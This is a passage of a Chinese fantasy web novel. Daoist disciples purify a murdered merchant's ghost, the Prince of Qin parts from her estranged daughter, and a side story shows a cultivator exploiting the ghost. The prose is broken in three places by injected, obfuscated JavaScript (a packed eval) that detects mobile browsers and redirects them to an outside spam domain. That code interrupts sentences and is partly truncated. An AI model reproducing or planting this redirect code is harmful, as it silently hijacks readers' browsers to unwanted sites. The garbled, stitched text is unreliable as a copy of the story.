秦王的话听起来没有让人拒绝的余地,汤穗穗也不知道该说些什么,下意识将求助的目光望向身旁的师姐,期待师姐帮她回绝对方的好意。 可师姐抬眸久久地望着面前的女人许久,抿了下唇,起身恭敬地接过对方手中的锦盒:“那就,多谢秦王赏赐了。” “……不必如此多礼。” 不知道是不是汤穗穗自己的错觉,师姐分明接过了那个盒子,但秦王的脸上的情绪却更哀伤了些……好似就是师姐说的那句话之后。 还没等她想出个所以然,秦王收敛了那份落寞,又将视线转到她的身上时,换成温和的目光,等待着自己的选择。 面对对方这样的神情,汤穗穗也说不出拒绝的言辞,只好硬着头皮接下锦盒,学着师姐那样道谢:“……多谢秦王赏赐。” “穗穗不必客气。”秦王弯着眼眸摇头,看着两人均将自己准备的物件收下,悬在心中的石块也沉了下去。 她还担心乾坤宗会有不成文的规定,不让道长们接受旁人给的物件;又或是姬忘尘会直接拒绝自己。不过好在,尽管对方的语气十分客气疏离,但最后还是收下了。 给姬忘尘的锦盒装着的是她自认为应当“物归原主”的物件,而给汤穗穗则是一份作为长辈的礼物。 既然礼物送了出去,秦王忍不住又一次邀请:“祭月节正是赏月的好时候,不如二位道长移步到院中,我们一同赏月如何?” “她想见你。”回应她的却是姬忘尘没头没尾的一句话。 “……谁?”秦王讶异于姬忘尘的开口,但更好奇对方口中所指之人。 “偏院那位。”姬忘尘知道秦王尚未知晓对方的身份,所以用了含糊的说辞。 在晚饭之前,她特地找到杜蕴辰,跟她说明了今夜的计划:她将在引荐两人的相见,之后就会利用祭月节最盛的月光清辉将她彻底净化。 杜蕴辰对自己的结局坦然接受,也就同意了姬忘尘的安排。 以往秦王或许不会往旁的地方想,但若是姬忘尘开口,她也就忍不住往旁的地方猜测:“……你的意思是,那位……非人吗?” 若是旁人,姬忘尘或许会说些半真半假的话搪塞过去。可对于秦王,她并不忍心开口捏造谎言。她垂眸掩下矛盾的心情,轻微地点了点头,甚至做好了秦王拒绝的准备,心中考虑着如何让杜蕴辰换种告别的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699482|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式。 不过秦王并没有拒绝,她起身走到姬忘尘的身边,轻声开口:“果然啊……还请道长带路吧。” 姬忘尘带着秦王来到那夜她们相遇的花园中,杜蕴辰已经坐在石桌旁等候。这几天姬忘尘并没有收回杜蕴辰手上那块稳固身形的镯子,也是为了今天让对方好好地告别。 眼看着秦王走进杜蕴辰,姬忘尘没有抬步,就站在原地与对谈的双方拉开距离。这一场可有可无的对谈其实只是姬忘尘拖延时间的手段,她知道处理了杜蕴辰之后,她或许就再难有这样和秦王靠近的机会。 “师姐……”身旁的汤穗穗感受到师姐身上笼罩的难言的情绪,下意识伸手牵着师姐的手,开口询问道,“师姐也在为她们难过吗?” 汤穗穗觉得自己的心口堵得慌,特别是从师姐那听到了杜蕴辰给自己捏造的经历之后,她更觉得痛心。明明杜蕴辰能够靠自己的能力走遍大江南北,可现如今却被困在方寸之地数十载。 “穗穗还记得,我们刚来到王城第一天听到的说书吗?”姬忘尘熟稔地从师妹脸上读懂师妹的情绪,岔开话题宽慰道,“也正如说书客所言,杜蕴辰在死去的七日之后,吞食魔种,靠本能手刃凶手。……应当也算无憾了吧。” 当姬忘尘听对方提及往事时,恍然想起初来乍到听到的那些故事,不知道算不算一种冥冥之中的指引。 “这不一样。”汤穗穗一脸正色地看向师姐,她并不认可师姐的说辞,“最大的遗憾本就是她失去了性命,这又从何谈起‘无憾’呢?” 在她看来,杜蕴辰的生命与自由同时被伤害她的人所剥夺,就算达成了所谓的复仇,原本鲜活的人生早已凋零,再无回旋的余地。 “……是啊。”姬忘尘轻声呢喃,她们这些旁观者,又有什么资格说一句“无憾”呢? 而两人对话中心的杜蕴辰仍和秦王保持着一定的距离,虽然有姬忘尘的手镯,她还是尽量避免身上的气息影响旁人。 她恭敬地拱手朝面前人行礼,发自内心敬佩这般强大的女性。 论年纪,其实她只比亲王小上几岁,可对方远比她要厉害许多。她已经在这里待了很长的一段时间,见证了旧朝的倾覆和新朝的建立。 起初在对方居住在府邸时,她也不敢经常出来打扰对方的生活,避免对方因为自己被吓到。 对方早出晚归,总是奔波在朝堂之中,杜蕴辰就这样看着对方为新朝而忙碌,也下意识地提了一些自己的体悟。而秦王非但没有视若罔闻,反而将她的想法放在了心上,并以此发散,商议了更合适的举措。 她们就这样相处了六年,从一开始的保持距离,到后面不自觉的亲近,有时候杜蕴宸都忘了自己是鬼魂之身。也因此,秦王的身体不断被她身上的气息侵蚀,终于在前不久突发了急病,重病不起。 对此杜蕴辰感觉到十分愧疚,本来她觉得自己就已经足够糟糕了,她不想让旁人因为她而变得更糟糕。 眼看她的命途也终于走到了尽头,于情于理,她都应该给对方一句真挚的感谢。是秦王每次不厌其烦地引导,才让杜蕴辰自己发掘出自己身上的价值——而不是像最开始的那人一样,只会一味地打压自己,嫌弃自己从商的身份。 “这些年,多谢秦王了。还望您身体康健,继续为新朝开创盛世。”杜蕴辰还记得那天晚上见到的那些喜悦的笑脸,与当年迥然不同的氛围。也正因如此,她无比笃定,面前的这个女人能够塑造空前繁华的盛世。 面对杜蕴辰的希冀,秦王也端端正正地拱手弯腰行礼,一字一句地开口:“不才姬时欢,再次谢过女郎六年的照拂。愿女郎来生平安顺遂、事事如意、长命百岁。” 64.就此作结 那两位的告别并不算久,很快两人都换上了轻松的脸色看向站在一旁的师姐妹。秦王知道姬忘尘她们之后的举措不方便被她知晓,便主动提出回房休息。 眼看着秦王走远,汤穗穗好奇地凑到杜蕴辰的身边:“方才你们聊了什么?” 一开始她还对后者有着戒备之心,但现在出于对师姐的信任,她大着胆子靠近杜蕴辰。 “没什么,只是一些客套话而已。”杜蕴辰摇摇头,没有讲实情说出。 而汤穗穗原本也不是为了讨要答案来的,只是想说些什么缓和当前的气氛,毕竟一会真的要对杜蕴辰动手,她还有些不知所措。 “师姐说,你身上有藏匿灵气的物件……”汤穗穗看着身旁与寻常别无二致的女人,想着套问对方那个物件的下落。 “对,在这里。”而这次杜蕴辰并没有隐瞒,直接了当地开口,伸手按住了自己的左胸。如今她想做的事反倒做得差不多了,就剩取出这个宝物了。 宝物就放在她的胸口,也是当时被利刃捅穿的位置。 杜蕴辰的情绪集结起周围的风,汤穗穗恍如未觉,望着对方此时毫无异样的胸膛,下意识地喃喃开口:“……当时,很疼吧。” 也是这一句话,瞬间止住了罡风。 身旁的杜蕴辰“噗嗤”一笑,打趣道:“也还好,毕竟他捅得还挺用力的,我很快就咽气了 。” “……这不好笑。”汤穗穗正色望向杜蕴辰,眼睛里满是心疼。 “……都过去了。”杜蕴辰被小道长的眼神惊得错开视线,又克制不住地回看小道长。视线移到她脑袋上娇艳欲滴的山桃发簪,投其所好地开口看:“小道长这发饰真好看。” “谢谢!”听到这句夸赞,面前原本情绪低落的小道长瞬间变得开心起来,还忍不住补充道,“你怎么知道是我师姐送给我的?” “果然呢。”杜蕴辰没有说扫兴的话,对上小道长毫无保留的笑颜,让她忍不住想起曾经的自己——她才恍然想起,这样的笑脸自己也曾经有过。 只是为什么,分明想着自己理想而前行的两个人,最后竟然落得这么个结局。 是什么时候变化了,……还是对方本能如因此呢? 两人聊着聊着就回到了偏院,杜蕴辰看着小道长熟稔地为周围布下阵法。还没等另一位道长开口,她先一步取下左手腕上的灵镯,递给对方。 随着手镯的取出,她全身再次由紫气凝结,变得厚重。 她听从面前道长的指示,凝神聚气感受着胸口的宝物的存在。在凝神的过程中,她感觉自己的神智不仅慢慢变得混沌,难以言喻的疯狂又重新燃烧着她的大脑。 ……她知道自己将要又恢复到当初的那个无法控制的状态。 汤穗穗第一次看到被魔种附身的地缚灵,她没有想象过竟然会是这样的模样——随着魔气的汇聚,面前的地缚灵陷入完全失控的状态,周围罡风阵阵,而它双目赤红,龇牙咧嘴地朝两人扑来。 方才还聊得正欢的人,不仅完全看不出原本的模样,彻底地变成难以言喻的“怪物”。 癫狂的地缚灵咆哮着,操纵着周围魔气卷起剧烈的罡风,刮得她们几乎睁不开眼睛。汤穗穗握着剑想起杜蕴辰之前的模样,无论如何都无法下手,反而险些被对方锋利的指甲划伤。还好姬忘尘关注着汤穗穗的情况,伸手将她从地缚灵的爪下抽离。 “它不是杜蕴辰。”姬忘尘专心地防备着地缚灵的一举一动,知道汤穗穗的症结所在,“如今这只是被魔种所控制的躯壳,灵智全无。” 被师姐提醒的汤穗穗虽然心中不舍,但是也很快稳住心神,握紧手中的链剑,凝望着面前的几乎辨认不出模样的紫气:“我知道了。” 换句话说,如果不解决面前的地缚灵,并将其净化,杜蕴辰一直都会是现在这幅癫狂的模样。 她绝对不能因为一时的心软,而放任地缚灵为祸世间。 坚定了信念的她配合着师姐,和对方的招式相合,齐心协力应对着面前的地缚灵。 不知过去了几个来回,姬忘尘敏锐察觉到可乘之机,头也不回地喊道:捆!” 一旁辅佐的汤穗穗马上理解对方的意思,依照师姐先前教授的方法,将方才已经布置在不同方位的绿线猛地收紧,将地缚灵稳稳当当地困在其中。地缚灵一边挣扎着,一边发出杜蕴辰的声音,如泣如诉,惊得汤穗穗险些放松绿线。 但她马上稳定下来,明白这不过是魔气蛊惑人心的手段,手上不敢有丝毫懈怠。 与此同时,姬忘尘也听到魔气凄厉的声音,她依旧神色冷静,沉默不语地将手中的弯刀送入面前人形紫气的胸膛部位。 院落周围早被汤穗穗布下阵法,隔绝了其中的一切声响与气息,丝毫不会担心此时的声响和魔气影响府邸众人。 汤穗穗分神想到,倘若忽略紫气发出的凄惨哀嚎,只看面前绿色的灵气和紫色的魔气交织的模样,似乎在编织什么绮丽的画卷。 听到地缚灵不断地发出痛苦的叫声,汤穗穗不忍心地皱了眉,但还是望着面前的紫气,做好自己应当做的事情。 脸色未变的姬忘尘将弯刀继续往里深入捅去,口中还念着净化的法诀。不多时又将弯刀拔出,刀尖上跳跃着一个如心脏般的黑色魔种,她迅速燃起真火焚烧魔种。 隔着真火的火焰,汤穗穗看到被魔气控制的地缚灵缓慢地褪去浓郁的紫气,变回澄澈的灵魂状,也看清了真实的、杜蕴辰的五官。 杜蕴辰再次睁开眼睛,她已经不能言语,笑着看向两位道长,拱手弯腰行礼致谢。她觉得这是这么多年来自己最轻松的一刻,整个人就像鸟雀羽毛一样轻盈自在。 就在她弯腰的那一瞬,刀尖的魔种被真火焚烧殆尽,团聚的魔气得以被净化,引来一阵和煦的清风,面前的灵魂也随着这股清风被吹散,化作星星绿色的斑点,融化在天边。 放在在魔种的最中心,出现了一个铃铛状的物件,此时正悬在半空中,在月华的映照下,边缘描摹一层光泽。姬忘尘伸手将物件接在手心。 那是一对精致的铃铛,其中确实有那一股熟悉的气息。她将铃铛拾起,放在眼前端详,在铃铛的内侧刻着一个“扬”字。 她下意识撇向汤穗穗手中紧握的链剑,还有自己手上的,均是出自此人的手笔。铃铛有极大的可能性是出自宗门,可是她却对面前这个铃铛却毫无印象。 或许得将铃铛带回去,让师傅她们辨认,才能知晓物主的身份。 “师姐,结束了吗?”汤穗穗没有留意方才出现的铃铛,她收回化作绿线的灵气,呆呆地望着灵魂消散的身形,神情还有些怔愣。她还有些不适应,方才还跟她们谈笑生欢的女子就这样消失在天地间。 可她也知道,她们如今没有更好的选择。 “或许吧。”姬忘尘将视线在物件上抽离,望向还未往前逸散的斑点。 “师姐,她,”汤穗穗仍抬着头,微风卷起她的发丝在半空飞舞,她低声开口,“……会有转世吗?” “我不知道。……又或许她会成为草木,沐浴天地精华。” 杜蕴辰的灵魂因为被魔气感染,现如今被重新打散,再一次汇聚到了天地间。又或许若干年后,她的灵魂能够重新凝结,再一次转世为人。 又或许,再也没有这样的机会。 “……师姐,为什么善恶的结局总是不相称呢?”汤穗穗的语气有些闷,她心里还是乱乱的。 明明是杀人者的书生,却能死亡重新轮回转世;而受害者的杜蕴辰却因为炼化魔气,而被打散灵魂,很长的一段时间里不能转世成人。 这样的结局,这当真称得上公平吗? “穗穗,我不知道善恶是否能够相称,我只能做到我能做的。”姬忘尘知道师妹的心结所在,她轻叹了一气,下意识回头望向秦王卧房的方向,低声呢喃,“我只想她们都能走上自己所选择的道路。” “……师姐,”汤穗穗低头望向手中的剑,“我们的力量代表着什么呢?” “至少,我们都无权主宰旁人的命运。”姬忘尘想到了杜蕴辰跟她说起的约定的内容,下意识握紧了手中的铃铛,心中暗自发誓要将一切查得水落石出,给杜蕴辰一个交代。 无论那位前辈是谁,她都不认为对方的行为是正确的。 如果早在几十年前就将净化杜蕴辰体内的魔种,说不定今时今日的她就能够凝聚成全新的灵魂,或是成为随风舞动的花草,又或是遮天蔽日的青木。 那才应该是她的人生,而不是被魔种控制在这里,日复一日地和魔气争夺身体的控制权。 两人解决了院落的问题,次日也正式和秦王提出了离别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704835|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。秦王将她们送到府邸的门口,脸上挂着慈爱的笑容,下意识地叮嘱着。 “穗穗姑娘,天冷了记得多穿一些……”秦王笑着拉着汤穗穗的手,忍不住絮絮叨叨地开口,“要记得好好休息,一路上注意安全,莫要逞强。” 或许这就是长辈的惯性吧,汤穗穗没多想就乖巧应下。面对对方啰嗦的话语,汤穗穗非但不觉得对方烦恼,反而心中萌生甜丝丝的感觉。姬忘尘就站在一旁,冷眼旁观两人的互动,没有打断也没有插嘴,就是她一贯的状态。 面前的秦王在这段时间的调养下,脸色变得红润了不少,汤穗穗看到对方神采奕奕的模样也为她高兴。想起对方失散的女儿,她回握对方的手,郑重说道:“您女儿的事情,我会帮您多留意留意的。” 秦王下意识撇向站在她身后的姬忘尘,和后者的视线一触即分。她咽下口水,再次看向汤穗穗:“……那就有劳小道长费心了。” “不过,缘分这种东西,有时候很难捉摸。不如顺其自然一些,放下过去才有未来嘛。”稚嫩的少女试图用自己的话宽慰面前的女人。 或许是被她坦荡的笑容感染,秦王忍不住也露出真心的笑容,她已经能放下这个执念,接受当时的选择。 毕竟,她知道自己是善于权衡利弊的人。无论重来多少次,她只会做出当时如出一辙的选择。 或许她们的缘分也就只有那短短的那几年,此后就会走上截然不同的道路。 秦王终止自己的喋喋不休,做了个深呼吸,笑着拉着汤穗穗的手走到姬忘尘的面前。姬忘尘早就站在一旁,牵住马匹的缰绳,平静地望着两人。 “好了,时候不早了,我也不强留二位道长了。”秦王松开汤穗穗的手,一瞬不瞬地看着姬忘尘,企图用视线描摹对方模样,将她深深地印在脑海中。 “二位,一路平安。”秦王克制地收回视线,弯腰拱手向两人告别。虽然她已经勉力控制着自己的情绪,但出口的声音还是止不住地颤抖。 所幸汤穗穗并没有生疑,而一旁的姬忘尘牵着马离开。 秦王望着两人离开的背影,紧紧地掐着自己的手,还是没有克制住汹涌的情绪。泪水从她的脸颊滑落,她几不可闻地开口:“岁岁……平安……” 这是她对女儿最初的,也是永远的期盼。即使她们并非同路,她依旧希望女儿能够平安康健。 她以为自己的的声音不会被对方听到,可是风还是将她的声音送到前方。姬忘尘牵着马微微偏了头,收回了放大声音的灵气,将目光放到路旁的野草,没有回头看向那人也没有应答。 曾经她因为对方不假思索的选择而埋怨过,现在的已经逐步理解了对方。或许缘分就是这样的阴差阳错,又互相缠绕。 过去她想得到的只是娘亲的偏爱和一声道歉;但现在的她看到姬时欢对于理想的选择和奔赴,心中也就释怀了不少。 或许对方并非合格的母亲,但她一定是名垂青史的功臣与好官,这便足够了。 许久之后,姬忘尘闭上眼,呼出心口的闷气,轻声开口:“您多保重身体,新朝需要您。 “……娘亲。” 你我就此彻底作别,各奔东西。 “……师姐,你看起来和秦王很像。” “是吗?” “嗯,而且细看你们眉宇之间还十分相像。……越说我越觉得你们很像,不是出于容貌上的,而是有一种很难明说的……契合?” “或许这就是缘分吧。” “……也是哦。”汤穗穗原本倒着走,以便更好地端详师姐的五官。得到师姐的回应之后,她也没了深究的心思,转过身来跟在师姐身边一蹦一跳地走着,头上的发簪也跟着她的动作一晃一晃。她忽然想起什么,大惊失色抓住师姐的手臂:“师姐等等,我们是不是还没问杜蕴辰关于约定的事情?!” “别担心,我问了。”姬忘尘觉得汤穗穗的表情很好玩,伸手捏捏对方的脸,“回头我细细讲给你听。” “好!……还好有师姐在!”汤穗穗大幅度地晃动着脑袋点点头,夸张地拍了拍胸膛顺着气,果然师姐就是最靠谱的存在,“师姐,那我们接下来去哪里?” 不过姬忘尘并没有回应师妹的话,望着前方忽然停下了脚步。汤穗穗随师姐的眼神望了过去,果然看到了一个熟悉的身影。 65.杜蕴辰-长恨人心不如水[番外] 王城中的一座繁华的酒楼包厢内,几名中年男人小心翼翼地打量着面前这个不过二十出头、自称修士的男人,他身着一身寻常的白色布衣,高束马尾,青涩的面容此刻闭目凝神,沉默不语。 在座几人不由得面面相觑,心中七上八下地打着鼓。就在方才,面前的青年人不知运用何种手段,来到他们面前,开门见山地点明青鹤街诡异之处。倘若是早些时候,他们或许还会觉得面前人不过是招摇撞骗的神棍——但面前人又对城中的悬案了若指掌,让他们不得不怀疑几分鬼神之说。 他们抱着“死马当作活马医”的心态,将青鹤街的怀疑向青年仔细阐述,而面前的青年从他们开始阐述时就闭目。若不是他们还看到他的手指正掐算些什么,说不定就将他赶了出去。 可是他们将事情的原貌和猜测尽数阐明之后,面前的青年仍未睁眼。因此几人也不敢声张,就怕自己的无知打扰道长的测算。 但这样被晾在一旁的滋味很不好受,几人中脾气最暴躁的那人忍不住拧眉,想要起身——却被身旁的人按下。身旁人轻微地摇头,用手肘推了几人中最和善的那个,用眼神示意对方。 接到信号的那人瞬间了然,低声试探性地开口:“道长,情况就是这样,您看……” “我会处理。”青年道长缓慢地睁开眼眸,直直地盯向方才拧眉的那位。黝黑眼眸中不带任何情绪,惊得后者似乎遇上捕食的猛兽,自卫的本能使心跳加快,下意识瞪大着眼睛屏住呼吸。 “那报酬……”同桌人似乎并未感受到对方犀利的眼神,自顾自地开口。 “不必。”青年道长闻言眨眼收回了视线,拿上放在桌上的长剑从席间起身,“十日内切勿靠近,否则后果自负。” 他的语气一如来时那样冰冷淡漠,不带丝毫情绪,只尽到一个“友善提醒”的作用。 直到青年的身影离开几人的视线,方才那位被盯着的那位才敢呼出那口气息,后怕地拍拍胸脯,后知后觉地感受到自己的后背衣物也被冷汗沁湿。 在最开始,他就对不请自来的青年道长报以轻慢的姿态,而刚刚被对方的眼风扫来时,却被吓得两股战战,险些控制不住自己的身体。 不过好在,桌上其余的人都没有发现他的异常。 离席的青年道长去到方才几人提到的青鹤街,先去案发的房间检测了魔气的来源,确定均是出自附近的状元府。 他没有走正门,直接从两旁的墙壁跳入。府邸内早已变得荒凉一片,还受到了一定程度的损毁,不过这都不是他所要关心的事情。 从他的经验来看,这里的地缚灵成型时间并不长,四周泛滥的魔气程度也没有加深,还在可控的范围之内。 还没等他细细思考,周围掀起猛烈的罡风,吹得他下意识眨了眨眼。他冷笑一声,将长剑取出,在罡风之中径直往某处刺出。冷冽的剑气破开罡风,将勉强聚作人形的紫气陷入一道深邃的裂隙又再次凝聚,紫气因此发出尖锐地哀嚎。 青年道长不适地蹙眉,再次挥剑用剑气削弱面前的紫气的力量。 癫狂地紫气很快就落于下风,它的攻击越来越没有章法,双手成型直直地朝青年抓取——但它的动作突然停滞在原地,原本赤红的眼睛褪色了不少。落地后的地缚灵捂着自己的头不断后退着,组成全身的紫气不断地翻涌、重组,周围的罡风在它无意识间聚集,形成不小的风涡。 原本做好了防守姿势的青年挽了剑花,将长剑背在身后,眯着眼紧紧地盯着面前地缚灵的动作。它的面目虽然无法辨认,但还能依稀看出脸上痛苦的神情。不仅如此,它还不断地挤出零碎的语调。青年调用灵气依稀辨认,似乎是“快”、“跑”之类的提醒。 倘若他所料不错,面前地缚灵吞噬魔种之后,竟然能在浓郁的魔气之下保留些许灵智。光从这一方面推测,或许它的灵魂还能够容纳更多的魔气。 意识到这一点的青年挑着眉,嘴角勾起,露出似笑非笑的笑容。他没有想到此行竟然还会有意外收获,某个设想过的计划或许正有了实施的机会。 倘若灵魔两气本就可以互相转换,那诱使地缚灵将魔气蓄积并修炼到一定程度,再将其除去…… 青年微眯着眼,面无表情地盯着癫狂的、正在争夺主导权的地缚灵,在心中萌生了一个计划。 “……醒了?” 在模糊的意识间,杜蕴辰似乎听到了一道清冷的声音。她记不清自己为什么会变成现在这副模样,只觉得自己浑身乏力,脑袋变得十分迟钝。但她还是逼迫自己撑起沉重的眼皮,目之所及处只看到一双寻常的黑靴,出现在自己的前方不远处。 她努力地抬起视线往上看去,一位素未谋面的、面目清冷的青年正居高临下地看着自己,眼神锋利不含丝毫情绪。若她猜测得不错,自己能够恢复理智全仰仗面前青年的手笔。 她下意识地张了张嘴,想要说些什么,但她什么都说不出口。 “我需要你帮我做一件事。”面前的青年也对上她的视线,往前走了两步,站定在她的面前,冷声开口,“我需要你以这幅身躯修炼。” 其实杜蕴辰也不知道自己应当怎么表达同意,她张了张嘴,就看到青年勾起冷笑的互动,挑着眉:“嗯,你同意了。” “我……”杜蕴辰不明所以,强撑着开口,却发现自己能够发出声音。她的心中又惊又喜,下意识地张嘴开口,“……我、我……同、意……了……” “不然你以为,你怎会有现如今这般清醒的状态。”青年毫不掩饰自己所做的事情,“我会教你一段口诀,你按照口诀容纳你能感受到的所有力量。我会将这周围屏蔽的你的气息,只要你不为非作歹,五年之后我会教你另一段口诀。” 即使杜蕴辰如今还不能流利表达,但她也理解了对方话语中的意思。她勉强操纵自己的身体缓慢、沉重地点头,表达自己认可的想法。 没想到她做出这样的行为之后,反而引得面前的青年嗤笑,面无表情的脸上划过一丝不屑。杜蕴辰敏锐地捕捉到转瞬即逝的神情,被轻视的不甘汹涌地占据着她的脑海,她下意识地捏紧了自己的手。 直到这时候,她才后知后觉发现自己正俯趴在地上。好在她的体力也护肤了不少,她挣扎着撑起自己的身躯,想要从地面坐起来。但她的双手发抖,浑身十分沉重,整具身躯就像完全不属于她的那样。 不知失败了多久,又不知重复了多少遍,她才终于操纵自己的身体侧坐在地上。双手依旧撑在地上支撑自己的身形,但这样的姿势让她在面对青年时,不至于太过难堪。 在她不断努力的过程中,青年就这样俯视着她的一举一动。看到她终于坚持着改变了自己的姿势,再次仰头看向自己时,他颇感意外地挑着眉评价:“你倒比我想象中更执着,……希望不要会我失望。” 杜蕴辰知道自己对于青年还有一定的价值,但她珍惜这个来之不易的机会。 青年按照约定教会她一段口诀,她也按照青年所说的,尽可能地容纳更多的气息充盈自己的身体。 这一举措说起来轻松,但每吸收一份不属于自己的气息时,她就会被影响着放大自己负面的情绪,甚至脑海中萌生杀戮的想法。 而就在她被这样的想法左右时,她的左胸就会迸发炽热的温度,而她就在烧灼感中拉回自己的理智。 皱着眉捂着胸口的杜蕴辰勉力靠在墙角,她的脑袋好似被什么人强行撕成两半,心口灼烧的感觉也尚未褪去。她咬咬牙,继续进行着气息的容纳,和两种不同的感受对抗着。 她就这样维持了五年,直到青年的第二次造访。青年很满意她如今的变化,又教授了她另一句口诀,让她继续气息的容纳。 即使杜蕴辰不明所以,但她依旧按照对方所说的内容去做,毕竟在她看来,是对方让自己有了现在的“新生”。 或许是她的容纳渐入佳境,她感觉到气息融入自己的经脉,再也不会轻易地受到气息的影响。即使脑海中还是会有强烈的撕裂感,偶尔还是会有杀人的冲动,不过她都会很快将这样的想法压制下来。 她也逐渐记起,变为如今这幅摸样之后,她是如何和自己的冲动作斗争,又是怎么眼睁睁地看着旁人如何丧命在她的五指之下。 有时她也会想,值得庆幸的是,现在的她能够压制伤人的冲动。 又过了五年,青年如约而至,教授了第三句口诀。杜蕴辰试探性地询问对方,自己是否能够离开这方院落。 “你做什么都行,”青年的神情一如既往淡漠,他的眼神里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在青年没有来的那些年,杜蕴辰后知后觉地将对方的意图琢磨清楚,正如当年带她来王城的那人一般。 杜蕴辰叹了口气闭上眼睛,她下意识抚摸自己的心口,似乎那里还会留存着利刃捅穿的伤痕。 她只是没有想到,同样的戏码竟然会在她的身上上演两回。 现在已是非人之物的她,即使心口那阵致命的痛觉已经想不起来了,还是会对当年错付的情谊而感到遗憾。 她还记得,那时候癫狂状态下的自己,原本浑浑噩噩地游荡在府邸中。可就在看到那人将自己房间中珍贵的瓷器、宝物发泄似地摔得粉碎时,瞬间控制不住自己的冲动,上前掐住对方脆弱的颈部。 而当时的那个人双目布满血丝,脸上的神情也与自己相差无几。他大笑着、挣扎着喊出自己的名字,口中不停地咒骂着自己:不仅死前抢光了他的风头,还在死后扰得宅邸不得安生,害他葬送了仕途。 她有些忘了,自己后来又是如何放松了对他脖子的束缚。不过她还记得,心中悲愤的自己伸手划开他的胸膛,掏出那颗跳动的心脏——躺在掌心的心脏鲜红活泼,并非是黑色的。 杜蕴辰望着紫气托举着心脏,不断地将其吞噬,双眼无神。 ……可倘若不是黑色的,如今的那人为什么竟会与当初判若两人? “……阿辰,要不跟我北上吧!” “我才不要,我在这里呆着就很好。”和青年男子并肩而行的女子不假思索地拒绝道,手中还拿着一个木匣,是方才男子交给女子的物件。 “阿辰,你想啊,杜家的商业一直在南部,要是北上拓展到王城……”青年男子眼睛亮晶晶地望着身旁的女子,“虽然商业的事我一窍不通,但是我真的觉得有利可图。” “那我考虑考虑吧。”青年少女挑着眉,玩弄着自己垂在颈侧的头发,强调着,“就算我真的北上,也不是因为你。” “当然当然。”青年男子即使没有得到女子的应承,但他的脸颊不自觉地爬上喜色,认真地看着女子,郑重地开口,“阿辰,我相信你的未来一定能够大展宏图!” “还用你说?”女子站在原地抬起下巴,微眯着眼开口,“你是不是看不起我?” “怎么可能!”男子连连摆手自证清白。 女子轻哼一声,转头就走;男子只好大步赶上女子的脚步,围在对方的身边接连道歉,阐明自己的真心。 …… 等闲变却故人心,却道故人心易变。[1] 66.转道 佳节刚过,街市上依旧行人如织,来往三三两两携手欢笑。杜曜桑站在自家商行不远处的地方,双手接过面前少女递过来的一个木匣,垂眸望着最上面的雕刻的花纹:“……这些就是那位托两位道长转交给我的?” 手中的木匣并不沉重,上面的花纹也并非精美绝伦。 汤穗穗点了点头。 这个木匣是杜蕴辰亲手交给她们的,她也就这样原封不动地递给面前的人。 “……那位,没有说别的话语需要转述吗?”杜曜桑盯着木匣上的花纹,她的声音很轻,听起来还有些沙哑;她说得很慢,话语出口时有几分忐忑不安。 此时她的内心十分复杂,胸膛里的心脏跳得飞快,只有不断深呼吸才能勉强保持理智。 即便面前的女郎从未表明自己的身份,几次交往下来,纵使再愚钝的人都能察觉到她与另一位身上的不寻常之处,更不用说沉浸在商海多年的杜曜桑。 也正因如此,对于那位神秘女子的身份,她在心中有所猜测,但不敢肯定。 “没有……”汤穗穗不知道杜曜桑想要听到什么,但杜蕴辰确实没有留下什么转述的词句。 面前的人闻言露出落寞的神情,汤穗穗有几分不忍心,抿了抿唇看向对方手中的木匣:“有可能,都在匣子里了吧?” 杜曜桑用力扣紧手中的木匣,闭上眼呼出一口气。后退一步捧着木匣,弯腰向汤穗穗郑重行礼:“多谢两位贵人相助,此等大恩大德,杜家上下没齿难忘。” “不用不用!”汤穗穗连忙上前,托住对方的手臂,才没让她真的弯下腰来。她的脸上露出为难的神情,面对这样的情况,着实是难以应对。 本来她就觉得自己并没有做什么,在加上面前人的年纪比自己大上不少,她不认为自己能够心安理得地收下这一句“谢”。 而杜曜桑一手揽着木匣,另一手趁机抓出少女的手,望着她青涩的面庞和黑白分明的眼眸,询问道:“不知两位可想要何等酬谢?” 虽然仍未知晓两位的身份,但应有的礼数应当周全。对方既然帮助她们解决了困扰已久的难题,于情于理,她们杜家都理应对此作出回报。 “……这就不用了吧?……或者你跟我姐姐再谈谈?”汤穗穗不好意思地挠挠头,还记得两人一开始捏造的身份,并没有因此说漏嘴。 她自己心里门清,整件事情中出力最多、作用最大的是师姐无疑,而自己不过是师姐的挂件而已。因此在她看来,杜曜桑、或者说杜家要答谢的对象也不会是自己。 听到少女明显推辞的话语,杜曜桑也望向站在稍远一些的另一道身影,对方身旁还站着陌生的身影。在她们的身后,还立着两匹高头大马,或许将要离开此处。 想到这一点,杜曜桑也不想再拖延她们离开的时间。 她一早就预料到对方会拒绝,从怀中掏出提前准备好的玉牌,塞到对方的掌心里:“无妨,那您就替您姐姐收下吧。这块玉牌可以在任何一家杜家商行出示,他们会无条件满足你的要求。……” 